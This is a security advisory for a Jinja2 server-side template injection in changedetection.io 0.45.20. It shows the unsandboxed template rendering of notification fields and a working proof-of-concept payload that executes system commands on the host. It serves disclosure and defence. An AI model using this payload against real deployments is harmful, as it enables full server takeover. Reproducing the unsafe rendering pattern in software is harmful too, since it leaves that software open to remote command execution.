Headline
GHSA-4r7v-whpg-8rx3: changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution
Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.
Details
changedetection.io version: 0.45.20
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB
The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
from jinja2 import Environment, BaseLoader
...
# Get the notification body from datastore
jinja2_env = Environment(loader=BaseLoader)
n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)
PoC
- Create/Edit a URL watch item
- Under Notifications tab insert this payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
- See Telegram (or other supported messaging app) notification
Impact
In the PoC I’ve used id
as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don’t need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn’t required by the application (not by default and not enforced).
References
- https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://docs.cobalt.io/bestpractices/prevent-ssti/
Credits
Edoardo Ottavianelli
Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
Related news
changedetection versions 0.45.20 and below suffer from a remote code execution vulnerability.